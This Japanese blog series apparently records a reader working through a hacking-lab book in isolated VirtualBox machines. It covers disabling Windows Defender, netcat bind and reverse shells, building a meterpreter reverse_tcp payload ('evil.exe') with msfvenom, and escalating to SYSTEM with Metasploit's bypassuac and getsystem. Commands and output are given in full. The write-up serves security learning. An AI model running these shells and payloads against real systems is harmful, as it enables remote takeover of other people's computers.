Windowsキー(田)をクリックし、”se”と入力します。検索結果に[設定アプリ]が表示されるでしょう。設定を起動します。
[プライバシーとセキュリティ]>[Windowsセキュリティ]の順にクリックします。

[ウイルスと脅威の防止]をクリック。

「ウイルスと脅威の防止の設定]の中の[設定の管理]をクリック。

「リアルタイム保護」のスイッチをオフにします。

疎通確認をするには

ipconfigを実行することにより、ホストオンリーネットワークとNATのIPアドレスを確認します。
続いてpingにより、ルータ、インターネット、ホストOSとの疎通確認を行います。IPアドレスは環境により異なりますが、次の画面を参考に疎通確認をしてみてください。

ここで、VirtualBox上で仮想マシンの設定をするためいったん、Windows 11をシャットダウンします。

仮想マシンを便利にする設定とは

ホストOSと仮想マシン間でコピペとドラッグ&ドロップができるように設定します。
VirtualBoxマネージャから設定ボタンをクリックし、[一般]>[高度]の「クリップボードの共有」と「ドラッグ&ドロップ」を[双方向]にします。

さいごに

今回はVirtualBoxにWindows 11仮想環境を構築するところまでを紹介しました。
次回は、Metasploitを使用したWindows 11へのハッキング手順を紹介します。

「ハッキング・ラボのつくりかた」2022 #016

IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。

第2部

第4章 Windowsのハッキング

4-1 Windows 7のハッキング

管理者権限を奪取するには

前回は、KaliマシンからWindows 7マシンの操作ができる状態になったところまででした。
ここから、Windows 7をもっと自由に操るために管理者権限への昇格を試みます。

msfconsoleに戻ろう

現在、msfconsoleが実行され、そのうえでexploitが実行されています。exploitでWindows 7からの接続を待ち受け、接続が確立されたことによって”meterpreter >”のプロンプトが表示されているわけです。ここでexploitを裏(バックグラウンド)に回して、msfconsoleのプロンプトを表示します。
以下のように、”meterpreter >”のプロンプトから”bg”コマンドを入力することにより、”msf6 exploit(multi/handler) >”のプロンプトに切り替えられます。

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > 

次のコマンドでバックグラウンドのセッションを確認できます。

msf6 exploit(multi/handler) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information               Connection
  --  ----  ----                     -----------               ----------
  1         meterpreter x86/windows  IE8WIN7\IEUser @ IE8WIN7  192.168.56.106:4444 -> 192.1
                                                               68.56.107:49157  (192.168.56
                                                               .107)

msf6 exploit(multi/handler) > 

上の表示結果で、セッションIDが”1″、Typeが”meterpreter”のセッションが接続状態にあることが分かりました。

UACを迂回するには

UACとは、ユーザーアカウント制御(User Account Control)と呼ばれる、システム設定の変更やプログラムのインストールなどの管理者権限が必要となる操作を勝手に実施できないようにするための機能です。ここでは、UACを迂回(バイパス)して管理者権限取得を試みます。
具体的には、UAC迂回を実現するモジュール”exploit/windows/local/bypassuac”を使用し、以下のように実行します。

msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

プロンプトが下のように変化します。モジュールのオプションを確認してみましょう。

msf6 exploit(windows/local/bypassuac) > show options

Module options (exploit/windows/local/bypassuac):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   SESSION                     yes       The session to run this module on
   TECHNIQUE  EXE              yes       Technique to use if UAC is turned off (Accepted: P
                                         SH, EXE)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process,
                                         none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86

さきほど裏に回したセッション1をパイプのように使ってUACを迂回する機能を流し込みます。

msf6 exploit(windows/local/bypassuac) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

次のように、KaliのIPアドレスを設定します。

msf6 exploit(windows/local/bypassuac) > set LHOST 192.168.56.106
LHOST => 192.168.56.106
msf6 exploit(windows/local/bypassuac) > show options
                                                                                             
Module options (exploit/windows/local/bypassuac):                                            
                                                                                             
   Name       Current Setting  Required  Description                                         
   ----       ---------------  --------  -----------
   SESSION    1                yes       The session to run this module on
   TECHNIQUE  EXE              yes       Technique to use if UAC is turned off (Accepted: P
                                         SH, EXE)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process,
                                         none)
   LHOST     192.168.56.106   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86

ここで”exploit”コマンドを実行します。以下のように表示されたら成功です。

msf6 exploit(windows/local/bypassuac) > exploit

[*] Started reverse TCP handler on 192.168.56.106:4444 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (175174 bytes) to 192.168.56.107
[*] Meterpreter session 2 opened (192.168.56.106:4444 -> 192.168.56.107:49158 ) at 2022-05-22 17:11:29 +0900

meterpreter > 

ここで、さきほど使用したセッション1に加えて、セッション2が誕生しています。次のようにして確認できます。

meterpreter > bg
[*] Backgrounding session 2...
msf6 exploit(windows/local/bypassuac) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information                 Connection
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  IE8WIN7\IEUser @ IE8WIN7    192.168.56.106:4444 -> 192
                                                                 .168.56.107:49157  (192.16
                                                                 8.56.107)
  2         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ IE8W  192.168.56.106:4444 -> 192
                                     IN7                         .168.56.107:49158  (192.16
                                                                 8.56.107)

セッション2に戻ります。

msf6 exploit(windows/local/bypassuac) > sessions -i 2
[*] Starting interaction with 2...
管理者権限を取得しよう

まず、現在の権限を確認します。

meterpreter > getuid
Server username: IE8WIN7\IEUser

IEUserの権限であることが分かりました。
次に、管理者権限への特進を試みます。

meterpreter > getsystem -t 1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

SYSTEM権限の取得に成功しました。SYSTEMはフルコントロールを有する管理者権限を意味します。

さいごに

今回はMetasploitを使い、管理者権限を取得するところまでを紹介しました。
今回でいったん、Windows 7を対象にしたハッキングの区切りとします。
次回からは、Windwos 11のハッキングに挑戦してみたいと思います。

「ハッキング・ラボのつくりかた」2022 #015

IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。

第2部

第4章 Windowsのハッキング

4-1 Windows 7のハッキング

Metasploitによるハッキング方法とは

Metasploitは、ネットワークに接続されているコンピュータシステムに対し、実際に侵入を試みることでシステムに脆弱性がないかどうか検証するために使用されるツールです。

ここでは、次の流れでハッキングの実験を行います。

  1. Kali上で悪意のあるプログラムを作成する
  2. 上記1のプログラムをWindows 7にコピーする
  3. Kaliでリバースシェルを待ち受ける
  4. Windows 7サイドから1のプログラムを実行しKaliに接続する
  5. KaliからWindows 7を制御する

ここでは、KaliとWindows 7のIPアドレスは以下の通りとします。

Kali192.168.56.106
Windows 7192.168.56.107
Windows 7を操る「あやしい」プログラムをKaliで作成しよう

Kali上のTerminalから以下のコマンドを実行します。

msfconsole

アスキーアートやメッセージが表示された後、以下のプロンプトが表示されます。

msf6 > 

次に、searchコマンドで「ペイロード」かつ「TCP対応リバースシェル」かつ「Windows対応」のモジュールを検索します。ここでペイロードとは、実行すると悪意のある動作をするプログラムのことです。

msf6 > search type:payload reverse_tcp platform:windows

今回の検索結果では73行出力されました。ここでは、45行目の以下のモジュールを使用します。

45  payload/windows/meterpreter/reverse_tcp    normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager

上記検索結果の、”payload/windows/meterpreter/reverse_tcp”の部分が「パス」と呼ばれ、ペイロードを作成するときに使用されます。

次に下記を実行してペイロードを作成します。

msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.106 -f exe -o $HOME/evil.exe

ここで、オプションの意味は以下の通りです。

-psearchコマンドで検索したペイロードを作成するためのパス
LHOST=ペイロードからの接続先(ここではKaliのIPアドレスを指定)
-f出力する実行ファイルの形式
-oペイロードの保存先(ここではKaliのホームディレクトリを指定)とファイル名(evil.exe)
ペイロードをKaliからWindowsにコピーするには

KaliのTerminalから次のコマンドを実行します。
“#”から始まる文字列はコメントです。実行する必要はありません。

sudo -s     #スーパーユーザに移行する                                                                                     
# /var/www/html/shareにevil.exeをコピーする
cd /var/www/html  
mkdir share
cp ~kali/evil.exe share
chmod -R 755 share     
# Apacheを起動してWindow 7からevil.exeをコピーできるようにする
systemctl start apache2
systemctl status apache2    # Apacheが正常に起動されたか確認

Windows 7のIE(ブラウザ)から”http://192.168.56.106/share/”にアクセスします。
下のように、Kali上の”evil.exe”が参照できました。
クリックしてダウンロードします。

ここでは、”Desktop”に保存します。

これでペイロード”evil.exe”がWindows 7のデスクトップに保存されました。

Windows 7からの接続を待ち受けるには

KaliのTerminalからmsfconsoleを起動した状態で、以下のコマンドを実行します。ここからは、コマンド実行時の出力結果もともに示します。下では[*]…以降が出力結果です。

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

続いて下のように、プロンプト(”msf6 exploit(multi/handler) > “)が表示されるので、setサブコマンドで以下を実行します。

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

次もsetコマンドで、”LHOST”にKaliのIPアドレスを設定します。

msf6 exploit(multi/handler) > set LHOST 192.168.56.106
LHOST => 192.168.56.106

次にオプションの設定をshowサブコマンドで確認します。

msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.106   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) >

上の実行結果に、”LPORT 4444 yes The listen port”という行があることから、ポート4444で待ち受けることが分かります。

exploitコマンドを実行します。
これでプロンプトが表示されない「待ち受け」状態になりました。

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.106:4444 
KaliからWindows 7の操作を行う

ここからは、KaliとWindows 7それぞれの仮想環境を表示したウインドウを、並べて操作できるようにしておくと分かりやすいと思います。
まず、Windows 7の仮想マシンに移ります。
デスクトップにある”evil.exe”のアイコンをダブルクリックして起動します。

以下の画面が表示されたら、[Run]ボタンをクリックします。

ふたたび、Kaliで”exploit”を実行中の待ち受け状態にあるTerminalを確認します。以下のようにメッセージとプロンプトが表示されていたら、KaliからWindows 7の操作が可能になっています。

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.106:4444 
[*] Sending stage (175174 bytes) to 192.168.56.107
[*] Meterpreter session 11 opened (192.168.56.106:4444 -> 192.168.56.107:49167 ) at 2022-04-30 21:12:14 +0900

meterpreter > 

Windows 7からKaliとのセッションが確立されていることを、netstatコマンドで確認してみましょう。
コマンドプロンプトから下のように入力します。

C:\Users\IEUser>netstat -n | find "ESTABLISHED"
  TCP    192.168.56.107:49167   192.168.56.106:4444    ESTABLISHED

上記実行結果では、netstatでネットワークの接続状態を出力しています。それをfindコマンドで読み込み、”ESTABLISHED”の文字列を含む行だけを抽出して表示しています。
結果、Windows 7端末(IPアドレス:192.168.56.107)のポート49167から、Kali端末(IPアドレス:192.168.56.106)のポート4444に対して接続が確立されている(ESTABLISHED)ことが確認できました。

Kaliのmeterpreterのプロンプトから以下のようにpwdコマンドやlsコマンドを実行できます。

meterpreter > pwd
C:\Users\IEUser\Desktop
meterpreter > ls
Listing: C:\Users\IEUser\Desktop
================================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  4142172   fil   2022-03-27 19:10:28 +0900  IE8WIN7_20220327.arn
040777/rwxrwxrwx  49152     dir   2022-03-27 18:45:23 +0900  SysinternalsSuite
100666/rw-rw-rw-  47840922  fil   2022-03-27 18:28:02 +0900  SysinternalsSuite.zip
100666/rw-rw-rw-  282       fil   2022-03-25 18:45:09 +0900  desktop.ini
100666/rw-rw-rw-  826       fil   2015-09-21 18:19:49 +0900  eula.lnk
100777/rwxrwxrwx  73802     fil   2022-04-24 22:48:21 +0900  evil.exe
100666/rw-rw-rw-  102979    fil   2022-04-04 15:33:54 +0900  nc111nt.zip

KaliのTerminal上で、Windows 7の「C:\Users\IEUser\Desktop」フォルダの情報が表示されました。
下は、Windows 7のDesktopをエクスプローラで表示したものです。

実際のハッキングでは、ペイロード(ここではevil.exe)がターゲットマシンのバックドアとなり、ターゲット端末上で起動されるよう仕掛けられます。攻撃端末ではそれを待ち受け、リモートから操作を可能とするわけです。

さいごに

今回はMetasploitを使い、リバースシェルによって遠隔操作ができるところまでを紹介しました。
次回は、Metasploitを使用したハッキングの続きを紹介します。

「ハッキング・ラボのつくりかた」2022 #014

IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。

第2部

第4章 Windowsのハッキング

4-1 Windows 7のハッキング

Netcatによるバインドシェル

「シェル」とは、入力されたコマンドをオペレーティングシステムが理解できるコトバ(命令)に変換して実行するプログラムです。つまり、ユーザーとオペレーティングシステム間の橋渡しをする役割をします。
バインドシェルでは、攻撃者はターゲットのコンピューター上でNetcatなどのサービスを起動しておきます。つまりターゲット上で攻撃端末からのネットワーク接続を待ち受けている状態にしておき、攻撃者はターゲットに接続します。
攻撃者はネットワークを介してターゲットのシェルをリモート操作し、コマンド実行できるわけです。

攻撃者の接続を待ち受けるには

以下はWindows 7のコマンドプロンプトから、”nc -h”コマンドによりncコマンドの使い方を表示した画面です。
“-e”オプションは、外部(他端末)からのプログラム実行を可能にするオプションです。具体的には”-e”オプションにコマンドプロンプトを指定して実行すると、リモートからWindows 7のコマンドプロンプトを介してWindows 7を操作できるようになります。つまり、nc実行中のPCを遠隔操作できるわけです。
だから、下の画面の”-e”オプションの説明に[dangerous!!](やばいよ!)と表示されているのですね。

まず、Windows 7から以下のコマンドを実行します。

nc -lvp 5555 -e cmd
オプション
(先頭に”-“をつける)
動作の説明
l外部端末からの接続を待ち受け
vログメッセージをたくさん出す
p待ち受けるポート番号
eローカルで起動するプログラム

KaliのTerminalから以下のコマンドを実行します。

nc 192.168.56.107 5555

図のように、Window 7のコマンドプロンプトのプロンプトが表示されるでしょう。ipconfigコマンドによりWindows 7のIPアドレスが”192.168.56.107″であること、hostnameコマンドによりコンピュータ名が”IE8WIN7″であることがわかりました。
以上により、Windows 7をKaliからリモート操作している状態を作り出すことができました。

リモート操作を終了するのは、Kali側から”exit”と入力するだけです。Windows側のncコマンドも同時に終了します。

Netcatによるリバースシェル

 バインドシェルではターゲット端末で攻撃端末からの接続を待ち受ける形態でした。一方、リバースシェルでは、攻撃端末はターゲット端末からの接続を待ち受ける方式です。 ターゲット端末から攻撃端末に対して接続を行い、ターゲット端末のシェルを実行可能とします。攻撃側の利点としては、ターゲット側から接続するので、攻撃側から接続する方式と比較してセキュリティが甘い点が挙げられます。

リバースシェルの実現手順とは

Kali側でTerminalから次のコマンドを実行します。すると以下の通り待ち受け状態に遷移します。

$ nc -lvp 5555          
listening on [any] 5555 ...

今度はWindows 7側からKaliに接続を試みます。

nc 192.168.56.106 5555 -e cmd

すると、Kali側のTerminalにWindowsのプロンプトが表示されるでしょう。

バインドシェルの時同様、ipconfigやhostnameコマンドを実行し、Windows 7環境であることを確認します。

リバースシェルを終了するには

Kali側から”exit”コマンドを実行します。Windows側のncコマンドも同時に終了するでしょう。

さいごに

今回はNetcatによるバインドシェルとリバースシェルを紹介しました。
次回は、Metasploit Frameworkを紹介します。

「ハッキング・ラボのつくりかた」2022 #013

IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。

第2部

第4章 Windowsのハッキング

4-1 Windows 7のハッキング

Netcatでシェルの基本を習得する

Netcatを用いた「バックドア」の構築法です。

本稿では、KaliとWindows 7のネットワーク環境は以下の通りとします。IPアドレスは環境ごとに異なります。

KaliWindows 7
位置づけ攻撃側被害者側
ネットワークホストオンリーホストオンリー
IPアドレス192.168.56.106192.168.56.107

VirtualBox上で行うWindows 7のネットワーク環境設定の方法は、以下の記事を参照ください。

Windows 7環境でIPアドレスを調べる方法は、次の図のように、コマンドプロンプトから”ipconfig”コマンドを実行します。図ではIPアドレスが”192.168.56.107″であることが分かります。

KaliでIPアドレスを調べるには、下図のように”ip a”とコマンドを入力します。下では、ホストオンリーネットワークのアドレスが”192.168.56.106″、NAT側のアドレスが”10.0.2.15″です。

Netcatをインストールしよう

それではNetcatをWindows 7にインストールします。
ここでは「Sysinternals Suite」をインストールした時のように、いったんインターネットに接続できるWindows 11にダウンロードし、Windows 7にドラッグ&ドロップでファイルを転送します。
まず、ホストOSでこのリンクからNetcatをダウンロードします。

もし上記のリンクからダウンロードできなかった場合は、こちらのURLからダウンロードします。
下のページに移動し、”Download nc111nt.zip (password:nc) – Netcat for Windows”のリンクをクリックしてダウンロードを開始します。リンクの「nc111nt.zip」の部分はファイル名ですが、将来変更されると考えられます。またZIPファイルを解凍するときのパスワードが「nc」であることがわかります。

ダウンロードが完了したら、ホストPC(Windows 11)からWindows 7のデスクトップに「nc111nt.zip」をドラッグ&ドロップします。
Windows 7のデスクトップに「nc111nt.zip」ファイルが転送されます。「nc111nt.zip」ファイルをマウスで右クリックし、メニューを表示させ、[Extract All]を選択してZIPファイルを解凍します。

パスワードは「nc」です。

解凍が終わるとデスクトップにフォルダが作成され、その中にソースコードや実行ファイルが格納されています。

ここで、”C:\Work”というフォルダを作成し、その下に解凍済みのフォルダを移動します。

まず、エクスプローラでCドライブ直下に移動します。
①[New folder]でフォルダを作成し、
②「Work」という名称に変更します。

「Work」フォルダの中に移動し、デスクトップの「nc111nt」フォルダをドラッグ&ドロップで「Work」フォルダに移動させます。

Windows 7からコマンドプロンプトを起動し、”cd “と入力しておきます。cdの後ろに空白を入れておきます。
次に、エクスプローラで「nc111nt」フォルダをドラッグし、コマンドプロンプトにドロップします。するとcdコマンドの後に「nc111nt」のフルパスが補完されます(下図①)。
Enterキーを押します。すると、コマンドプロンプト上で、「nc111nt」フォルダの中に移動できます(②)。
上記フォルダの中にはNetcatの実行ファイル(コマンド名:nc.exe)があります。

コマンドプロンプトでNetcatを実行してみます。
“nc -h”と入力して[Enter]キーを押すと、下のようにncコマンド(Netcat)のバージョンと使い方(ヘルプ)が表示されます。

C:\Work\nc111nt>nc -h
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, background mode

        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
<以下省略>
Windows 7側でKaliからの接続を待ち受ける

IPアドレスは家に例えると、その家の住所のようなものです。そして家の出入り口にあたるものを「ポート」と呼びます。ポートは番号で区別します。
ここでncコマンドを実行し、ポート5555を使って、Kaliからの接続をWindows 7で待ち受けてみます。

nc -lvp 5555

下図のように「Windows Security Alert」画面が表示されたら、[Allow access]をクリックします。コマンドプロンプトでは、ncコマンドが実行されたままの、次のプロンプトが表示されない状態になります。これで、家の入口で来客が来たらすぐ出迎えることができる状態になりました。つまり、ncコマンドが、Kaliからの接続を待ち受けている状態です。

もう一つ別のコマンドプロンプトを起動し、以下のコマンドを実行します。

netstat -an

実行結果は以下のようになります。
少しわかりにくいですが、ncコマンドがポート番号5555で、誰かが接続してくるのを待ち受け状態(LISTENING)になっていることを表しています。

NetcatでKaliからWindowsに接続する

Windows 7で待ち受け状態を作ったところで、KaliからWindows 7に接続を試みます。

KaliでTerminalを起動し、以下の通り実行します。

nc 192.168.56.107 5555

次にWindows 7側のncを起動したコマンドプロンプトを見ます。
図のように、表示が追加されるでしょう。一見、エラーのように見えますが、かまわず次に進みます。

Windows 7のもう一つのコマンドプロンプトから、再度netstatコマンドを実行します。

netstat -an

すると、Windows 7のポート5555(192.168.56.107:5555)を使用して、Kali(192.168.56.106)と通信中(ESTABLISHED)であるということが出力結果からわかります。

チャットライクな通信をしてみよう

Kali側のncコマンドを実行中のTerminalに”This is Kari.”と入力して[Enter]を押します。
下図の”$”はプロンプトです。

$ nc 192.168.56.107 5555
This is Kari.

次にWindows 7側のncコマンドを起動中のコマンドプロンプトを見てください。
“This is Kari.”と、Kaliからのメッセージが表示されているでしょうか。

C:\Work\nc111nt>nc -lvp 5555
listening on [any] 5555 ...
192.168.56.106: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.56.107] from (UNKNOWN) [192.168.56.106] 48166: NO_DAT

This is Kari.

今度はWindows側のコマンドプロンプトから、”This is 7.”と入力してメッセージを送ってみます。

C:\Work\nc111nt>nc -lvp 5555
listening on [any] 5555 ...
192.168.56.106: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.56.107] from (UNKNOWN) [192.168.56.106] 48166: NO_DATA

This is Kari.
This is 7.

KariのTerminalにWindowsからのメッセージが表示されます。

$ nc 192.168.56.107 5555
This is Kari.
This is 7.

ncコマンドを終了するには、Kali側のTerminalで[Ctrl]+[C](同時に押す)を入力します。Windows側のncコマンドも同時に終了します。

さいごに

今回はNetcatによるメッセージ交換を紹介しました。
次回は、Netcatを応用してターゲット端末を操る(遠隔操作する)方法を紹介します。

「ハッキング・ラボのつくりかた」2022 #012

IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。

第2部

第4章 Windowsのハッキング

4-1 Windows 7のハッキング

SysInternals Suiteをインストールする

本稿では、PC起動時に自動起動されるプログラムが後から追加されたことを検知できるようにするために、次に述べるツールを導入します。
「SysInternals Suite」とはMicrosoftから提供されているトラブルシューティングのためのユーティリティです。
Windows 7仮想マシン環境に「SysInternals Suite」をインストールします。この環境はインターネットから隔離されているのでひと手間が必要になります。

まず、ホストOSでこちらのリンクから「SysInternals Suite」をダウンロードします。執筆時点では”SysinternalsSuite.zip”というファイル名です。
次に、今ダウンロードしたファイルをホストOSからWindows 7に転送できるようにします。
起動済みのWindows 7のウインドウ最上部、VirtualBoxのメニューバーから[デバイス]>[ドラッグ&ドロップ]>[双方向]を選択します。

ホストOSのエクスプローラから”SysinternalsSuite.zip”をマウスでドラッグして、Windows 7のデスクトップにドロップします。

Windows 7側に転送された”SysinternalsSuite.zip”をマウスで右クリックし、メニューから[Extract All]を選択してZIPファイルを解凍します。

解凍が済むとデスクトップに「SysinternalsSuite」フォルダが作成され、その中に”Autoruns.exe”ファイルがあります。エクスプローラからマウスで”Autoruns.exe”をダブルクリックして起動します。似た名称のファイルがあるので、ご注意ください。

ライセンスに同意する場合は[Agree]をクリックします。

今後ハッキング・ラボで実験中に、自動起動されるプログラムが追加される可能性があります。その際、どのプログラムが追加されたかわかりやすくするために、現時点のWindows 7の状態を記録しておきます。
Autoruns画面の①[Everything]タブを開き、②フロッピーアイコンをクリックして”Save Autoruns Output to File”画面を表示します。③ファイル名を指定し、④[Save]をクリックします。ここでは「IE8Win7_本日の日付」としました。

以下の画面で[OK]をクリックします。

上記のように現在の状態を記録しておくと、今後PC起動時に自動起動されるプログラムが追加されても、比較することによって何が追加されたかを知ることができます。

さいごに

次回はいよいよ、Netcatを使用したハッキングを紹介します。